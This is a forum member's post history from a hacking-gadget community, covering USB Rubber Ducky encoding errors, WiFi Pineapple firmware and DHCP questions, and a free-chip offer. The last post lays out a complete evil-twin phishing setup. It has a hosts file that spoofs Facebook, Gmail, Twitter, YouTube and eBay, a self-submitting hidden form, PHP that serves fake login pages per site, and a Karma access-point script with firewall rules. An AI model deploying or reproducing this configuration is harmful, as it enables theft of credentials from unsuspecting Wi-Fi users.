Jump to content

Thermostaten

Active Members
  • Posts

    77
  • Joined

  • Last visited

Everything posted by Thermostaten

  1. How do I find the newest firmware version for the duck ? (it's a white one) I am missing the mass storage support :/ I can only find a V1 on the https://github.com/h.../wiki/Downloads page.
  2. Hm that produced this ( see below ) but I think the errors are caused by the use of chars and input in the strings. After testing the simple of a string with a backslash in ( that was the char i were missing ) i found that it all works as it should :) # java -jar duckencode.jar -i script.txt -o inject.bin -l da Error on Line: 19 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 22 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 34 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 37 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 40 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 43 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 49 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 52 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 55 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) Error on Line: 58 java.lang.NullPointerException at Encoder.codeToBytes(Encoder.java:319) at Encoder.charToBytes(Encoder.java:304) at Encoder.encodeToFile(Encoder.java:197) at Encoder.main(Encoder.java:114) The script.txt contains this ( wont format correctly here.. but it should be all chars on a danish keyboard ) # cat script.txt DELAY 300 STRING --- NORMAL --- ENTER STRING 1234567890+' ENTER DELAY 300 STRING qwertyuiopå" ENTER DELAY 300 STRING asdfghjklæø' ENTER DELAY 300 STRING <zxcvbnm,.- ENTER DELAY 300 STRING --- SHIFT --- ENTER DELAY 300 STRING §!"#¤%&/()=?` ENTER DELAY 300 STRING QWERTYUIOPÅ^ ENTER DELAY 300 STRING ASDFGHJKLÆØ* ENTER DELAY 300 STRING >ZXCVBNM;:_ ENTER DELAY 300 STRING --- ALT --- ENTER DELAY 300 STRING ¾¡@£$½¥{[]}±| ENTER DELAY 300 STRING @ł€®þ←↓→œþ"~ ENTER DELAY 300 STRING ªßðđŋħjĸł'^˝ ENTER DELAY 300 STRING \«»©“”nµ¸·̣ ENTER DELAY 300 STRING --- SHIFT + ALT --- ENTER DELAY 300 STRING ¶¹²³¼¢⅝÷«»°¿¦ ENTER DELAY 300 STRING ΩŁ¢®Þ¥↑ıŒÞ°ˇ ENTER DELAY 300 STRING º§ÐªŊĦJ&Ł˝ˇ× ENTER DELAY 300 STRING ¬<>©‘’Nº˛˙˙ ENTER DELAY 300
  3. # java -jar duckencode.jar -l da.properties -i script.txt Error with keyboard.properties! How do i find the solution to that error ?
  4. the link does not seem to work - is it just me ? https://rapidshare.com/files/174126281/Encoder.zip
  5. Thanks for sharing that info WatskeBart Hm - There should be a "BUG" section for Jasager here..
  6. Nope I checked that too :) but to get the images shown one would also need them stored and showed via what ? html / java (ajax ) ? .. driftnet has the X to show images in. So .. it's not easy to do - but perhaps a stream of images to dropbox or imageshack or alike could be a solution
  7. Cant any one here make a Drifnet plugin ?
  8. Reason ? any one - errors/maint/sloppy admins ? Just got my 2'nd Mark IV and cant get the modules ! That's just typical cloud hostings.
  9. How long is http://cloud.wifipineapple.com/index.php going to be down ?
  10. 2.4.0-BETA2: root@Pineapple:~# uname -a Linux Pineapple 3.2.14 #49 Wed Jul 4 12:42:25 EDT 2012 mips GNU/Linux Kernel should really be 3.3.8-1 - that is what level all the kmod modules are compiled for..
  11. uci add network alias uci set network.@alias[-1].interface=lan uci set network.@alias[-1].proto=static uci set network.@alias[-1].ipaddr=192.168.0.1 uci set network.@alias[-1].netmask=255.255.0.0 uci commit network reboot So far so good.. hm how do i get the dnsmasq-dhcp process to serv ip's via that alias.. :o/ I guess there should be routing from 192.168.x.x to the 172.16.42.42 gw also.. <_<
  12. An idea for a plugin/module would be a prowl notification on the iPhone when a client connects ( OK, or on the android based a growl ? ) http://www.prowlapp.com/
  13. I often see clients make a DHCP request to the IP they had on their own accesspoint often in the 192.168.x.x range. When they are catched by the Jasager it sends a DHCPNAK back telling the client it has a wrong network because Jasager lives in the 172.42.x.x range by default ( i like that range - it fits my networks also ) but that DHCPNAK rejection oftens results in the client leaving (out of range) for good. Does any one here know how one could add an alias to the Jasager dhcp server (dnsmasq) and have it also respond with a DHCPACK on an ip in that range ( eg 192.168.0.0/16 ) if the IP is free. Jul 4 13:48:10 gateway daemon.info dnsmasq-dhcp[1759]: DHCPREQUEST(br-lan) 192.168.1.109 00:xx:xx:xx:xx:xx Jul 4 13:48:10 gateway daemon.info dnsmasq-dhcp[1759]: DHCPNAK(br-lan) 192.168.1.109 00:xx:xx:xx:xx:xx wrong network Regards Thermo
  14. Hi, I burned my Mark IV board because I switched the + and - to it. That melted the FP6188X chip. Then I Wrote the company Feeling-Tech and asked what a new chip would cost and they just send me 10 pieces no charge :D - I had it 3 days after I wrote them ( now that is good customer service !) I don't think they send it for free to everybody so I would be very glad to offer the 9 pieces I have left for free for others that made the same mistake as I did. So if you need one then drop me a private message here and just pay me the shipping fee via Paypal. Then I'll send you one. It costs 6 danish kroner to send it to an address in Denmark ( that is 1$ ) and 11 DKK to europe and 13 DKK to other countries ( approxemately 2$ ) Regards [Thermo]
  15. This is how i did it.. root@router:/# cat /etc/config/httpd config 'httpd' option 'port' '1338' option 'home' '/www' config 'httpd' option 'port' '80' option 'home' '/wwwguest' root@router:/# cat /etc/hosts #---------------------------------------- # Local #---------------------------------------- 127.0.0.1 localhost. 10.1.0.2 router jasager #---------------------------------------- # Gateway and services #---------------------------------------- 10.1.0.1 gateway 78.24.191.177 downloads.openwrt.org 46.4.11.11 downloads.x-wrt.org #---------------------------------------- # Phishing #---------------------------------------- 10.1.0.2 www.facebook.com facebook.com 10.1.0.2 www.facebook.dk facebook.dk 10.1.0.2 da-dk.facebook.com #---------------------------------------- 10.1.0.2 www.twitter.com twitter.com 10.1.0.2 www.twitter.dk twitter.dk #---------------------------------------- 10.1.0.2 www.gmail.dk gmail.dk 10.1.0.2 www.gmail.com gmail.com 10.1.0.2 mail.google.com 10.1.0.2 mail.google.dk #---------------------------------------- #10.1.0.2 plus.google.com plus.google.dk #---------------------------------------- 10.1.0.2 www.youtube.com youtube.com #---------------------------------------- 10.1.0.2 www.ebay.com ebay.com #---------------------------------------- #10.1.0.2 www.yahoo.com yahoo.com #---------------------------------------- #10.1.0.2 www.linkedin.com linkedin.com #---------------------------------------- root@router:/# cat /etc/php.ini |egrep www|cgi.force_redirect doc_root = /wwwguest cgi.force_redirect = 0 [code]root@router:/# cat /wwwguest/index.html &lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt; &lt;div id="hideme"&gt; &lt;form action="index.php" method="POST" name="theform"&gt; &lt;input type="text" name="host" style="width:0px;" value="" type="hidden"/&gt; &lt;/form&gt; &lt;/div&gt; &lt;script type="text/javascript"&gt; document.getElementById('hideme').style.display='none'; function left(str,n){ if (n &lt;= 0) return ""; else if (n &gt; String(str).length) return str; else return String(str).substring(0,n); } function right(str,n){ if (n &lt;= 0) return ""; else if (n &gt; String(str).length) return str; else { var iLen = String(str).length; return String(str).substring(iLen,iLen-n); } } var the_url = window.location.href; var the_url_len = the_url.length-7; the_url = right(the_url,the_url_len) var where_is_slash=the_url.indexOf('/'); the_url = left(the_url,where_is_slash); document.theform.host.setAttribute("value","http://"+the_url); document.theform.submit(); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; root@router:/# cat /wwwguest/index.php &lt;?php error_reporting(0); $ref = strtolower ( $_POST['host'] ); //$header = str_replace("http://", "https://", $ref); //header ("Location: $header/index.php"); if ("$ref" != "") { if (strpos($ref,"facebook.com")||strpos($ref,"www.facebook.com")||strpos($ref,"facebook.dk")||strpos($ref,"www.facebook.com.")){include('facebook.html');} else if (strpos($ref,"gmail.com")||strpos($ref,"www.gmail.com")||strpos($ref,"gmail.dk")||strpos($ref,"www.gmail.dk")||strpos($ref,"mail.google")){include('gmail.html');} else if (strpos($ref,"twitter.com")||strpos($ref,"www.twitter.com")){include('twitter.html');} else if (strpos($ref,"youtube.com")||strpos($ref,"www.youtube.com")){include('youtube.html');} else if (strpos($ref,"ebay.com")||strpos($ref,"www.ebay.com")){include('ebay.html');} else {include('peets.html');} } else { echo '&lt;html&gt;&lt;head&gt;'; echo "&lt;meta http-equiv=\"REFRESH\" content=\"0;url=/index.html\"&gt;"; echo '&lt;/head&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;'; } ?&gt; root@router:/etc/init.d# cat /etc/init.d/jasager #!/bin/sh /etc/rc.common # Copyright (C) 2008 dninja@gmail.com START=50 start() { include /lib/network scan_interfaces /karma/bin/create_option_list.rb [ -d /karma/www -a -f /karma/etc/httpd.conf ] &amp;&amp; httpd -p 1337 -h /karma/www -r karma -c /karma/etc/httpd.conf # ORIGINAL iptables -I FORWARD -i ath0 -o br-lan -j ACCEPT #------------------------------------------------------------------------------- # PREPARE KARMA #------------------------------------------------------------------------------- iwpriv ath0 maccmd 3; sleep 1 # Clear the MAC ignore list iwpriv ath0 maccmd 2; sleep 1 # To make the list a blacklist. # iwpriv ath0 maccmd 1; sleep 1 # To make the list a whitelist. iwpriv ath0 addmac 00:12:34:13:37:12; sleep 1 # Ignore backtrack wifi interface # iwpriv ath0 addkarmassid "Free Internet"; sleep 1 # Ignore my wifi does not work :( iwpriv ath0 karma 1; sleep 1 # Start karma ifconfig ath0 up; sleep 1 # Activate ath0 interface #------------------------------------------------------------------------------- # IPTABLES VARIABLES #------------------------------------------------------------------------------- IPT='/usr/sbin/iptables' GATEWAY="10.1.0.1" # To the internet ( my thinkpad ) JASAGER="10.1.0.2" # To the targets #------------------------------------------------------------------------------- # REMOVE ALL IPTABLES RULES #------------------------------------------------------------------------------- # reset the default policies in the filter table. $IPT -P INPUT ACCEPT $IPT -P FORWARD ACCEPT $IPT -P OUTPUT ACCEPT # reset the default policies in the nat table. $IPT -t nat -P PREROUTING ACCEPT $IPT -t nat -P POSTROUTING ACCEPT $IPT -t nat -P OUTPUT ACCEPT # reset the default policies in the mangle table. $IPT -t mangle -P PREROUTING ACCEPT $IPT -t mangle -P POSTROUTING ACCEPT $IPT -t mangle -P INPUT ACCEPT $IPT -t mangle -P OUTPUT ACCEPT $IPT -t mangle -P FORWARD ACCEPT # flush all the rules in the filter and nat tables. $IPT -F $IPT -t nat -F $IPT -t mangle -F # erase all chains that's not default in filter and nat table. $IPT -X $IPT -t nat -X $IPT -t mangle -X #------------------------------------------------------------------------------- # Allow localhost #------------------------------------------------------------------------------- $IPT -A INPUT -s 127.0.0.0/8 -i lo -j ACCEPT $IPT -A OUTPUT -s 127.0.0.0/8 -o lo -j ACCEPT #------------------------------------------------------------------------------- # Allow DNS #------------------------------------------------------------------------------- $IPT -A INPUT -i br-lan -d ${JASAGER} -m udp -p udp --dport 53 -j ACCEPT $IPT -A INPUT -i br-lan -d ${JASAGER} -m tcp -p tcp --dport 53 -j ACCEPT #------------------------------------------------------------------------------- # BLOCK STUFF #------------------------------------------------------------------------------- $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --syn -j DROP # Block SYN $IPT -A INPUT -i eth0 -d ${JASAGER} -f -j DROP # Block Fragments # Block NMAP Scans: $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP # $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags ALL ALL -j DROP # $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags ALL NONE -j DROP # NULL $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags SYN,RST SYN,RST -j DROP # $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP # XMAS $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags FIN,ACK FIN -j DROP # FIN $IPT -A INPUT -i eth0 -d ${JASAGER} -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP # $IPT -A INPUT -d ${JASAGER} -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT # OK for http requests #------------------------------------------------------------------------------- # iptables -A INPUT -m limit --limit 15/minute -j LOG --log-level 7 --log-prefix "Dropped by firewall:" $IPT -A INPUT -s ! ${GATEWAY} -d ${JASAGER} -m state --state NEW -j DROP # NEW only from Gateway #------------------------------------------------------------------------------- /usr/sbin/iwconfig ath0 txpower 18 #------------------------------------------------------------------------------- logread -f | awk '{if ($0 ~ /(KARMA: |DHCPACK|DHCPDISCOVER|DHCPOFFER|DHCPREQUEST)/) {sub (/ \(.*\).*: /, ": ", $0); print $0 ;}} ' &gt; /tmp/status.log &amp; tail -f /tmp/status.log | /karma/bin/logwatch &amp; } stop() { killall httpd }
×
×
  • Create New...